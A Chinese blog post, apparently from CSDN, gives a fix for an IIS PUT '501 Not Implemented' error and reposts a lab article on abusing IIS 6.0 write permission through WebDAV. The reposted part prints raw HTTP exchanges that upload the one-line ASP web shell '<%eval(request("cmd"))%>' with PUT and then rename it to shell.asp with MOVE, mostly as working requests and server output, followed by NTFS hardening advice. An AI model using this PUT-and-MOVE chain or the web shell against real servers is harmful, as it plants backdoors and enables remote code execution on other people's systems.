http://1.1 501 Not implemented( IIS put )

最近,向IIS上传一份文档,结果提示标题的错误,网络上查了半天,结果用如下办法解决:

打开IIS,网站,“web服务扩展”,将列表中的“WebDAV”由禁止状态改为允许即可。

由下面这篇文章启法:

http://www.redicecn.com/html/wangluoanquan/20100103/123.html,内容拷贝如下:

 

小议IIS的特殊权限续

写了《小议IIS的特殊权限》一文之后,在一次实验室内部报告中,我给大家演示了IIS写权限的利用,但是却没有成功,很纳闷啊。明明我之前都测试过的,怎么会不行了呢?看来肯定是IIS配置的问题了。

再来回忆一下上次演示的过程:
那次演示我用的是新装的Win2003虚拟机,IIS采用的默认的设置,勾选上了主目录标签页下的“写入”复选框。
失败的两个地方:

(1)OPTIONS 命令无法查看IIS支持的方法集合。

提交如下报文:

OPTIONS / HTTP/1.1
Host: www.redicecn.cn


返回如下报文:

HTTP/1.1 200 OK
Allow: OPTIONS, TRACE, GET, HEAD
Content-Length: 0
Server: Microsoft-IIS/6.0
Public: OPTIONS, TRACE, GET, HEAD, POST
X-Powered-By: ASP.NET
Date: Fri, 01 Jan 2010 07:39:56 GMT


注释:没有返回IIS支持的方法集合。

(2)PUT asp文件及txt文件均失败。

提交如下报文:

PUT /test.txt HTTP/1.1
Host: www.redicecn.cn
Content-Length: 26

<%eval(request("cmd"))%>


返回如下报文:

HTTP/1.1 501 Not Implemented
Content-Length: 0
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 01 Jan 2010 07:50:53 GMT


注释:没有成功写入。

提交如下报文:
   
PUT /test.asp HTTP/1.1
Host: www.redicecn.cn
Content-Length: 26

<%eval(request("cmd"))%>


返回如下报文:

HTTP/1.1 404 Not Found
Content-Length: 83
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 01 Jan 2010 07:43:07 GMT

<html><head><title>Error</title></head><body>系统找不到指定的文件。
</body></html>


注释:没有成功写入。


问题的解决:

今天突然在IIS的“Web服务扩展”列表中看到了“WebDAV”是被禁用的,会不会是因为“WebDAV”被禁用了的原因呢?
启用“WebDAV”,哈哈,竟然成功了,果然是“WebDAV”被禁用了的原因。

再次提交如下报文(OPTIONS命令):

OPTIONS / HTTP/1.1
Host: www.redicecn.cn


返回如下报文:

HTTP/1.1 200 OK
Date: Fri, 01 Jan 2010 07:54:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private


注释:IIS成功返回支持的方法集合。

再次提交如下报文:

PUT /test.txt HTTP/1.1
Host: www.redicecn.cn
Content-Length: 26

<%eval(request("cmd"))%>


返回如下报文:

HTTP/1.1 201 Created
Date: Fri, 01 Jan 2010 07:57:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://www.redicecn.cn/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK


成功在IIS根目录写入了test.txt文件。但是直接PUT asp文件还是返回同样的错误信息。小黑们通常采用的方法就是先PUT txt马,然后使用MOVE方法将txt马改名成asp马。

尝试提交如下报文:

MOVE /test.txt HTTP/1.1
Host: www.redicecn.cn
Destination: http://www.redicecn.cn/shell.asp

返回如下报文:

HTTP/1.1 207 Multi-Status
Date: Fri, 01 Jan 2010 08:02:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://www.redicecn.cn/shell.asp
Content-Type: text/xml
Transfer-Encoding: chunked


b8
<?xml version="1.0"?><a:multistatus xmlns:a="DAV:"><a:response><a:href>http://www.redicecn.cn/shell.asp</a:href><a:status>HTTP/1.1 403 Forbidden</a:status></a:response></a:multistatus>
0

注释:失败了,郁闷啊。看来IIS上还有什么机关啊。陷入僵局....

2010年的早晨我翻了一下《黑客渗透笔记》(知识型流氓给我的,他的朋友冰的原点写的书,送了他两本),在《深入分析IIS写权限》一节中,我发现作者碰到了和我一样的问题,他给出的解决方案是勾选“脚本资源访问”复选框。测试一下:


提交如下报文:

MOVE /test.txt HTTP/1.1
Host: www.redicecn.cn
Destination: http://www.redicecn.cn/shell.asp

返回如下报文:

HTTP/1.1 201 Created
Date: Fri, 01 Jan 2010 08:09:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://www.redicecn.cn/shell.asp
Content-Type: text/xml
Content-Length: 0

成功了。我还测试了一下在没有勾选“脚本资源访问”复选框的情况下是可以使用MOVE将文件更名为非脚本文件名的,例如gif,txt。
但是直接PUT asp文件还是返回同样的错误信息。看来这个问题还真不好解决,暂且放下吧。

最后我还想测试一下,NTFS权限的设置是否能够对IIS的写权限产生影响:

测试一:
站点根目录设置IIS匿名帐户的权限为允许“读取和运行,列出文件夹目录,读取”,其它未勾选。经测试,可以成功PUT写入文件。


测试二:
站点根目录设置IIS匿名帐户的权限为允许“读取和运行,列出文件夹目录,读取”,并且勾选禁止“写入”。经测试,可以PUT写入文件失败。返回报文如下:

HTTP/1.1 401 Unauthorized
Content-Length: 75
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 01 Jan 2010 08:33:09 GMT

<html><head><title>Error</title></head><body>错误: 拒绝访问。</body></html>

注释:写入操作被拒绝。

现在该总结一下了:

(1)如果没有启用“WebDAV”扩展,OPTIONS命令是无法查看IIS支持的方法集合的。即便是复选上了“写入”,仍然无法写入txt文件(asp的当然也不行)。
(2)启用了“WebDAV”扩展,并且复选了“写入”,就可以写入txt文件了。要想使用MOVE命令将其更名为脚本文件后缀,必须还复选上“脚本资源访问”。
(3)只有设置了IIS匿名帐户禁止“写入”的NTFS权限,才能拒绝写入。注意:这个拒绝写入的权限是大家很容易忽视的,如果未设置,还是可以成功写入文件的。它并不单单是针对IIS写权限的,我曾用脚本木马测试过,如果没有禁止写入,脚本木马还是可以创建和修改文件的。关于Win2003的安全设置策略,可以参加我的另外一篇文章《Windows服务器安全设置攻略》。

安全提示:不要开启“WebDAV”扩展!

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值